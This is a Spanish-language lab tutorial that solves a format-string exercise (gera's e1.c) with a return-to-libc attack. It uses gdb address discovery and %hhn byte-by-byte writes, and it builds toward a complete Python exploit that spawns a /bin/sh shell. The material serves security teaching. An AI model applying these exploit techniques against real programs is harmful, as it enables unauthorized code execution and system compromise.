layout |
---|
page |
La creación de exploits en un escenario en el que no se admite ejecución de código en la pila.
/* e1.c *
* specially crafted to feed your brain by gera */
/* jumpy vfprintf, Batman! */
int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
El programa imprime el input del usuario y se mantiene en un loop infinito sin finalizar.
- Existe un
while(1)
que provoca un bucle infinito que vuelve inútil sobreescribir la dirección de retorno delmain()
. - En este nivel se propone habilitar la mitigación W^X, por lo que se asumirá que el programa se compila sin el flag
-z execstack
y por ende que no es posible ejecutar nuestro propio shellcode almacenado en la pila. Eso nos obliga a cambiar la estrategia de ataque.
Entonces a partir de ahora la compilación del binario se realiza de esta manera:
user@abos:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -o e1 e1.c
Se observa un uso vulnerable de printf()
bajo la forma: printf (argv[1])
. Es posible ingresar un input que incluya especificadores de formato como por ejemplo %x%x
(para conocer direcciones de la pila) o %n
(para escribir en la pila).
Se puede aprovechar la vulnerabilidad de este programa de varias maneras. En este caso se va a seguir una estrategia de ataque del tipo return-to-libc.
El objetivo será sobreescribir la dirección de retorno de printf()
para que en vez de retornar a main()
, se ejecute la función system()
dentro de libc
. Previamente se adecúa la pila para simular un llamado válido a system()
con el argumento /bin/sh
, que nos dará una shell.
El exploit cuenta con tres partes:
Primera parte: usamos gdb
para conocer tres direcciones en el mapa de memoria del proceso: la dirección de retorno de printf()
, la dirección de system()
en libc
y la dirección del string /bin/sh
.
Segunda parte: sobreescribimos la dirección de retorno de printf()
en principio con un número arbitrario.
Tercera parte: escribimos en esa dirección de retorno exactamente la dirección de system()
.
Cuarta parte: ubicamos el string /bin/sh
en el lugar indicado en la pila para que system()
lo considere como su argumento y lograr el llamado a system("/bin/sh")
.
.....................................................................................................................................................................
Primera parte: averiguamos con gdb
las direcciones necesarias.
Creamos un archivo exploit.py
con un input de prueba, cuidando mantener el mismo padding durante toda la resolución del problema para controlar las direcciones de la pila.
#! /usr/bin/env python
import sys
from struct import pack
#padding para controlar las direcciones de la pila
def pad(s):
return (s + "A"*100000)[:100000]
exploit = "BBBB"
sys.stdout.write(pad(exploit))
-
Averiguamos la dirección de retorno de
printf()
:user@abos:~$ gdb e1 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. Reading symbols from e1...done. (gdb) r "$(./exploit.py)" (gdb) si 0x080482d0 in printf@plt () ; primera instrucción de printf() (gdb) x/wx $esp 0xbffe70c0 : 0x0804840c ; dirección de retorno a main apilada
En
gdb
avanzamos instrucción a instrucción con el comando siguiente instrucción ("si"
) hasta entrar en elcall printf
. Exactamente en la primera instrucción dentro deprintf
consultamos el tope de la pila para conocer qué dirección de retorno se apiló antes de saltar a la función.La dirección de retorno de
printf()
es0xbffe70c0
. -
Averiguamos la dirección de
system()
enlibc
:En
gdb
imprimimos la dirección de la siguiente manera:user@abos:~$ gdb e1 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. Reading symbols from e1...done. (gdb) break main (gdb) r "$(./exploit.py)" (gdb) p system ; consultamos la dirección de system en libc $1 = {<text variable, no debug info>} 0xb7e633e0 <__libc_system>
La dirección de
system()
enlibc
es0xb7e633e0
.Recordemos que podemos utilizar esta dirección dado que la misma no cambia en cada ejecución del programa porque hemos deshabilitado la mitigación ASLR con la configuración:
user@abos:~$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space=0
-
Averiguamos la dirección del string
/bin/sh
:
Si bien se suele almacenar"/bin/sh"
dentro de una variable de entorno, también es posible encontrar ese string dentro delibc
. Averiguamos su dirección de la siguiente manera:user@abos:~$ gdb e1 (gdb) info proc map ; consultamos addr libc process 840 Mapped address spaces: Start Addr End Addr Size Offset objfile .... +---- 0xb7e25000 0xb7fcc000 0x1a7000 0x0 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so | | +---> (gdb) find 0xb7e25000, +9999999, "/bin/sh" ; buscamos desde 0xb7e25000 la dirección de libc 0xb7f84551 ; encontró una coincidencia warning: Unable to access 16000 bytes of target memory at 0xb7fce8d9, halting search. 1 pattern found. (gdb) x/s 0xb7f84551 ; verificamos dirección del string /bin/sh 0xb7f84551: "/bin/sh"
La dirección de
/bin/sh
es entonces0xb7f84551
.
Segunda parte: queremos sobreescribir la dirección de retorno de printf()
, en principio con un número arbitrario. Aprovechamos la vulnerabilidad del format string para sobreescribir ese valor en la pila.
-
Identificamos el parámetro
%08x
que imprime el format string.
Construimos un string como input paraprintf()
que imprima el contenido de la pila concatenando varios%08x
, y que comience con un patron identificable (0x42424242...
).El objetivo de este paso intermedio es saber cuál de los parametros
%08x
imprime el comienzo de nuestro string0x42424242
. Una vez detectado ese parámetro lo reemplazamos por%n
, parámetro que no imprime sino que escribe la cantidad de bytes procesados en la dirección dada por el comienzo del string (inicialmente0x42424242
).Para ello adecuamos el script:
#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack #padding para controlar las direcciones de la pila def pad(s): return (s + "A"*100000)[:100000] exploit = "BBBBBBBBBBBBBBBBBBBBBBBBBBB" exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB" exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB" exploit += "%08x.%08x.%08x.%08x." * 200 ; imprimimos contenido de la pila sys.stdout.write(pad(exploit))
En
gdb
vemos la impresión de valores de la pila por los sucesivos%08x.%08x.%08x.%08x...
hasta identificar el comienzo del string.Identificamos cual de los parámetros imprime el comienzo del string. Para eso vamos quitando
%08x
hasta imprimir sólo el comienzo del string y observar que inmediatamente lo siguen las"AAAA..."
del padding.
En este caso con prueba y error detectamos que el parámetro número 116 imprime el0x42424242
inicial. En la imagen a continuación se ve cómo lo siguen las "AAAA..." del padding que incluimos.#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack #padding para controlar las direcciones de la pila def pad(s): return (s + "A"*100000)[:100000] exploit = "B" # alineacion exploit += "BBBB" # comienzo del string exploit += "%08x." * 116 sys.stdout.write(pad(exploit))
-
Reemplazamos el principio del string
0x42424242
por la dirección de retorno deprintf
alineada adecuadamente.El archivo
exploit.py
resultante es:#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 exploit = "B" # alineacion exploit += pack("<I", ret_addr) # ret_addr_after_printf exploit += "BBBB" exploit += "%08x." * 116 sys.stdout.write(pad(exploit))
Y vemos que el parámetro
%08x
número 116 imprime esa dirección en el output resultante: -
Si reemplazamos el último
%x
por%n
vemos como escribimos en la dirección de retorno deprintf
el número de caracteres procesados hasta el momento.Para ello adecuamos el exploit:
#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 exploit = "B" # alineacion exploit += pack("<I", ret_addr) # ret_addr_after_printf exploit += "BBBB" exploit += "%08x." * 115 exploit += "%n" # escribimos caract. procesados sys.stdout.write(pad(exploit))
Al ejecutar, como
%n
siempre escribe la cantidad de caracteres procesados en la dirección dada, vemos que escribimos0x414
en la dirección de retorno deprintf
.(gdb) r "$(./exploit.py)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Program received signal SIGSEGV, Segmentation fault. 0x00000414 in ?? () ; logramos un salto en la ejecución Cannot write the dashboard Traceback (most recent call last): File "<string>", line 358, in render File "<string>", line 939, in lines MemoryError: Cannot access memory at address 0x414 (gdb) x/wx 0xbffe70c0 0xbffe70c0: 0x00000414 ; logramos esta escritura!
Como en la dirección de retorno se almacena el valor
0x00000414
, al finalizar el llamado aprintf()
se intenta retornar a esa dirección provocando una violación de segmento.
Logramos cumplir el objetivo intermedio: nos aprovechamos del format string para sobreescribir la dirección de retorno delprintf
y controlar el flujo de ejecución del programa. En este punto sobreescribirmos la dirección de retorno con el número0x414
(la cantidad de bytes del string procesados hasta el%n
). Todavía es necesario escribir exactamente la dirección desystem()
para que sea esa la función que se ejecute. -
Usaremos como recurso el padding de los parámetros de formato para controlar la cantidad de caracteres que procesa
%n
. En el especificador previo al%n
agregamos un padding%100x
para ver la cantidad de caracteres procesados que se escriben.
El objetivo será reemplazar la dirección de retorno deprintf()
porsystem()
, es decir, debemos lograr que la cantidad de caracteres procesados coincida con la dirección desystem()
tal como se muestra en la imagen a continuación.Modificamos el script:
#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 exploit = "B" # alineacion exploit += pack("<I", ret_addr) # ret_addr_after_printf exploit += "BBBB" exploit += "%08x." * 114 exploit += "%100x" # modificamos cant. caract. procesados exploit += "%n" # escribimos en ret_addr_after_printf sys.stdout.write(pad(exploit))
Y lo ejecutamos:
(gdb) r "$(./exploit.py)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x0000046f in ?? () Cannot write the dashboard Traceback (most recent call last): File "<string>", line 358, in render File "<string>", line 939, in lines MemoryError: Cannot access memory at address 0x46f (gdb) x/wx 0xbffe70c0 0xbffe70c0: 0x0000046f
Ahora en la dirección de retorno se almacena el valor
0x0000046f
, al finalizar el llamado aprintf()
se intenta retornar a esa dirección provocando también una violación de segmento. Entonces sabemos que la cantidad de caracteres procesados incluido el padding de"%100x"
es0x46f
.
Tercera parte: no queremos escribir cualquier número en ret_addr
sino exactamente la dirección de system()
.
Escribir con %n
la dirección de system
implicaría procesar una cantidad de bytes enormes, para evitarlo escribiremos la dirección de system
de a un byte a la vez con el parámetro %hhn
.
-
Con cuatro parámetros
%hhn
sobreescribimos de a un byte a la vez la nueva dirección de retorno.
Recordemos que la dirección de retorno deprintf
se encuentra en0xbffe70c0
y la dirección desystem
es0xb7e633e0
. El objetivo será modificar byte por byte esta dirección de retorno de la siguiente manera:Valor de `ret_addr_after_printf` # byte | ret_addr | valor actual | valor deseado (system_addr) 0 0xbffe70c0: 0x0c --> 0xe0 1 0xbffe70c1: 0x84 --> 0x33 2 0xbffe70c2: 0x04 --> 0xe6 3 0xbffe70c2: 0x08 --> 0xb7 --------------- ---------------- 0x0804840c 0xb7e633e0
Entonces en el exploit desglosamos la dirección de retorno en cada uno de sus bytes. Y por cada byte, vamos a incluir una dupla
"%<padding>x + %hhn"
para escribir una parte de la dirección desystem
en cada uno de ellos. Por ejemplo, para el primer byte menos significativo de la dirección de retorno incluimos las siguientes líneas en el script:#Dupla para 1er byte de ret_addr exploit += "%100x" #cant. bytes procesados: ??? exploit += "%hhn" #escribe ret_addr_byte_0
El layout de la pila deseado será algo similar a:
El exploit queda construido de la siguiente manera:
#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 #system_addr = 0xb7e633e0 ret_addr_byte_0 = ret_addr # low byte: 0x0c ret_addr_byte_1 = ret_addr + 1 # 2nd byte: 0x84 ret_addr_byte_2 = ret_addr + 2 # 3rd byte: 0x04 ret_addr_byte_3 = ret_addr + 3 #high byte: 0x08 exploit = "A" exploit += pack("<I", ret_addr_byte_0) #%hhn exploit += "BBBB" #lo imprime %100x exploit += pack("<I", ret_addr_byte_1) #%hhn exploit += "CCCC" exploit += pack("<I", ret_addr_byte_2) #%hhn exploit += "DDDD" exploit += pack("<I", ret_addr_byte_3) #%hhn exploit += "EEEE" exploit += "%08x." * 114 #low_byte exploit += "%100x" #cant. bytes procesados: 0x46f exploit += "%hhn" #escribe ret_addr_byte_0 sys.stdout.write(pad(exploit))
El primer especificador
%100x
nos va a permitir -cambiando su padding- modificar el número que escribimos en el byte menos significativo de la dirección de retorno.Observamos el valor que obtenemos con ese padding arbitrario de
100
, poniendo un breakpoint en la instrucciónret
dentro deprintf
y viendo el nuevo valor almacenado:(gdb) r "$(./exploit.py)" (gdb) si 0x080482d0 in printf@plt () (gdb) x/10i $eip 0xb7e71c63 <__printf+19>: mov DWORD PTR [esp+0x8],eax 0xb7e71c67 <__printf+23>: mov eax,DWORD PTR [esp+0x20] 0xb7e71c6b <__printf+27>: mov DWORD PTR [esp+0x4],eax 0xb7e71c6f <__printf+31>: mov eax,DWORD PTR [ebx-0x70] 0xb7e71c75 <__printf+37>: mov eax,DWORD PTR [eax] 0xb7e71c77 <__printf+39>: mov DWORD PTR [esp],eax 0xb7e71c7a <__printf+42>: call 0xb7e68290 <_IO_vfprintf_internal> 0xb7e71c7f <__printf+47>: add esp,0x18 0xb7e71c82 <__printf+50>: pop ebx break => 0xb7e71c83 <__printf+51>: ret ; detenemos antes de que printf retorne (gdb) break *0xb7e71c83 (gdb) r "$(./exploit.py)"
Y al llegar al breakpoint, inspeccionamos la pila y observamos el nuevo valor del byte menos significativo de la dirección de retorno :
Vemos como el valor pasa de ser:
0xbffe70c0: 0x0804840c
, a ser:0xbffe70c0: 0x08048487
.Entonces sabemos que con un padding -arbitrario- de
100
escribimos en el byte menos significativo deret_addr
el número0x87
o 135 en decimal. -
Realizamos cálculos para lograr el número deseado (recordando que la dirección de
system()
es0xb7e633e0
). En este caso debemos escribir0xe0
o 224 en decimal, que corresponde al byte menos significativo de la dirección desystem()
.Para los cálculos es de utilidad la fórmula:
#Fórmula para el cálculo del padding nro deseado - nro obtenido + padding_anterior = padding_nuevo
En este caso:
#low_byte (nro deseado - nro obtenido) + padding_anterior = padding_nuevo (0xe0 - 0x87) + 100 = ??? (224 - 135) + 100 = 189 ; 189 este es el padding necesario para lograr 0xe0
Siguiendo la fórmula, reemplazamos en
exploit.py
el padding anterior de100
por el nuevo padding189
y obtenemos el resultado deseado en el byte menos significativo de la dirección de retorno:#low_byte exploit += "%189x" #cant. bytes procesados: 0xe0 exploit += "%hhn" #escribe ret_addr_byte_0
-
Realizamos el mismo proceso para para el resto de los bytes. Primero con un padding arbitrario vemos qué número escribimos en el byte correspondiente de la dirección de retorno. Y luego siguiendo la fórmula modificamos el padding para hacer una escritura con el número adecuado. Hasta finalmente sobreescribir correctamente los cuatro bytes de la dirección de retorno de
printf()
para que al retornar salte asystem()
y no amain()
.#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 #system_addr = 0xb7e633e0 ret_addr_byte_0 = ret_addr # low byte: 0x0c ret_addr_byte_1 = ret_addr + 1 # 2nd byte: 0x84 ret_addr_byte_2 = ret_addr + 2 # 3rd byte: 0x04 ret_addr_byte_3 = ret_addr + 3 #high byte: 0x08 exploit = "A" exploit += pack("<I", ret_addr_byte_0) #%hhn exploit += "BBBB" exploit += pack("<I", ret_addr_byte_1) #%hhn exploit += "CCCC" exploit += pack("<I", ret_addr_byte_2) #%hhn exploit += "DDDD" exploit += pack("<I", ret_addr_byte_3) #%hhn exploit += "EEEE" exploit += "%08x." * 114 #low_byte exploit += "%189x" #cant. bytes procesados: 0xe0 exploit += "%hhn" #escribe ret_addr_byte_0 #2do_byte exploit += "%83x" #cant. bytes: 0x33 exploit += "%hhn" #ret_addr_byte_1 #3er_byte exploit += "%179x" #cant. bytes: 0xe6 exploit += "%hhn" #ret_addr_byte_2 #high_byte exploit += "%209x" #cant. bytes: 0xb7 exploit += "%hhn" #ret_addr_byte_3 sys.stdout.write(pad(exploit))
Consideraciones:
Si por el cálculo obtenemos un número negativo como padding, incluimos un 1 delante del número deseado (como descartamos el carry logramos el cometido). Por ejemplo, en el segundo byte de la dirección de retorno queremos escribir
0x33
pero los cálculos nos devuelven un padding negativo, para calcularlo usamos entonces el número0x133
en vez de0x33
y descartamos el carry.#Fórmula para el cálculo del padding > #2do_byte exploit += "%08x" #cant. bytes procesados deseados: 0xe8 exploit += "%hhn" #escribe ret_addr_byte_1
Probamos con un padding de
08
y procesamos una cantidad de bytes0xe8
.#Fórmula para el cálculo del padding #versión 1: 2do_byte (nro deseado - nro obtenido) + padding_anterior = padding_nuevo (0x33 - 0xe8) + 8 = ??? NEGATIVO #version correcta: 2do_byte (nro deseado - nro obtenido) + padding_anterior = padding_nuevo (0x133 - 0xe8) + 8 = ??? ; reemplazamos 0x33 por 0x133 (307 - 232) + 8 = 83 ; logramos calcular el padding
Y con un padding de
83
obtenemos el resultado deseado:#2do_byte exploit += "%83x" #cant. bytes procesados deseados: 0x33 exploit += "%hhn" #escribe ret_addr_byte_1
Finalmente, logramos sobreescribir correctamente los cuatro bytes de la dirección de retorno con el valor de
system
enlibc
(0xb7e633e0
):Y logramos un salto a
system()
:El layout de la pila resultante es el siguiente:
Cuarta parte: para que el llamado a system()
nos devuelva una shell, esta función debe tener como argumento el string /bin/sh
.
Dado que el llamado a system()
no se hizo con una instrucción call
sino que se logró modificando una dirección de retorno de otra función, es necesario cumplir con la expectativa de system()
en relación a la pila. Siguiendo la convención del llamado a funciones, system()
espera en el tope de la pila una dirección de retorno (ret_addr_after_sys
) y antes su argumento.
Ese estado de la pila es el que hay que construir a mano, para ubicar el string /bin/sh
en el lugar indicado y cuando la ejecución salte a system()
esta función identifique a ese string como su argumento.
Consideraciones:
La dirección de retornoret_addr_after_sys
no nos interesa en este momento (únicamente la tenemos en cuenta para saltearla). No obstante, si se controlan las sucesivas direcciones de retorno es posible encadenar varias llamadas a funciones o incluso otro tipo degadgets
, de ahí el nombre dereturn-oriented programming
.
-
Seguimos el mismo procedimiento pero esta vez para almacenar la dirección de
/bin/sh
(antes vimos que era0xb7f84551
) en la posición exacta en la pila dóndesystem()
buscará su argumento (ret_addr + 8 = 0xbffe70c8
).Y finalmente el exploit resultante es:
#! /usr/bin/env python """Uso: ./e1 "$(./exploit.py)" """ import sys from struct import pack def pad(s): return (s + "A"*100000)[:100000] ret_addr = 0xbffe70c0 arg_sys_addr = ret_addr + 8 #0xbffe70c8 #system_addr = 0xb7e633e0 #bin_sh_addr = 0xb7f84551 ret_addr_byte_0 = ret_addr #low byte ret_addr_byte_1 = ret_addr + 1 ret_addr_byte_2 = ret_addr + 2 ret_addr_byte_3 = ret_addr + 3 #high byte arg_sys_addr_byte_0 = arg_sys_addr #low arg_sys_addr_byte_1 = arg_sys_addr + 1 arg_sys_addr_byte_2 = arg_sys_addr + 2 arg_sys_addr_byte_3 = arg_sys_addr + 3 #high #ret_addr de printf() exploit = "A" exploit += pack("<I", ret_addr_byte_0) #%hhn exploit += "BBBB" #%x exploit += pack("<I", ret_addr_byte_1) #%hhn exploit += "CCCC" #%x exploit += pack("<I", ret_addr_byte_2) #%hhn exploit += "DDDD" #%x exploit += pack("<I", ret_addr_byte_3) #%hhn exploit += "EEEE" #%x #argumento de system() exploit += "FFFF" exploit += pack("<I", arg_sys_addr_byte_0) #%hhn exploit += "GGGG" #%x exploit += pack("<I", arg_sys_addr_byte_1) #%hhn exploit += "HHHH" #%x exploit += pack("<I", arg_sys_addr_byte_2) #%hhn exploit += "IIII" #%x exploit += pack("<I", arg_sys_addr_byte_3) #%hhn exploit += "JJJJ" #padding exploit += "%08x." * 114 #calculo system() addr #low_byte exploit += "%189x" #cant. bytes procesados: 0xe0 exploit += "%hhn" #escribe ret_addr_byte_0 #2do_byte exploit += "%83x" #cant. bytes: 0x33 exploit += "%hhn" #ret_addr_byte_1 #3er_byte exploit += "%179x" #cant. bytes: 0xe6 exploit += "%hhn" #ret_addr_byte_2 #high_byte exploit += "%209x" #cant. bytes: 0xb7 exploit += "%hhn" #ret_addr_byte_3 #calculo /bin/sh addr #low_byte exploit += "%154x" #cant. bytes procesados: 0x51 exploit += "%hhn" #escribe arg_sys_addr_byte_0 #2do_byte exploit += "%244x" #cant. bytes: 0x45 exploit += "%hhn" #arg_sys_addr_byte_1 #3er_byte exploit += "%179x" #cant. bytes: 0xf8 exploit += "%hhn" #arg_sys_addr_byte_2 #high_byte exploit += "%191x" #cant. bytes: 0xb7 exploit += "%hhn" #arg_sys_addr_byte_3 sys.stdout.write(pad(exploit))
Y al ejecutarlo logramos llamar a
system("/bin/sh")
y obtenemos una shell.
- Usar variables de entorno: plantear un ataque alternativo a E1 almacenando
/bin/sh
en una variable de entorno.